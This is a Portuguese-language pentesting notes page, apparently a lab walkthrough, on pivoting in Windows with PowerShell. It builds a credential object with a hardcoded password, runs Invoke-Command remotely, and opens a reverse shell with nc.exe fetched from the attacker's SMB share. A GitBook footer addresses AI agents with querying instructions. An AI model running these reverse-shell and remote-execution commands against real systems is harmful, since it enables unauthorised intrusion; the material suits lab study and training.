> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/post-exploitation/pivoting-windows-powershell.md).

# Pivotamento no Windows (PowerShell)

### PowerShell

Iniciamos o PowerShell em nossa máquina de ataque:

```bash
powershell
```

Agora recuperamos o nome do ambiente Windows com o `hostname` comando, e confirmamos que o nome do host é `Sniper`.

```powershell
hostname
```

Em seguida, criamos uma variável para o usuário `Chris` e outra para a senha usando `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

Assim, criamos um `PSCredential` objeto para poder executar comandos remotamente na máquina:

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**Executando comandos remotos:**/ Agora usamos o seguinte comando para executar `whoami` remotamente e validar os acessos:

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* Isso nos permitiu confirmar que, de fato, estávamos conectados como **Chris**.

<figure><img src="/files/e05a830421c144c9ab90bb6054e2b757be9ced9b" alt=""><figcaption></figcaption></figure>

**Shell reversa :**/ Para obter acesso total ao sistema, configuramos um listener na porta 4444:

```bash
rlwrap nc -nlvp 4444
```

Em seguida, executamos uma shell reversa usando `nc.exe` do nosso servidor SMB:

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444}
```

{% endcode %}

<figure><img src="/files/6bc60e390870955d85a37b20e517d393e096b7d9" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/post-exploitation/pivoting-windows-powershell.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
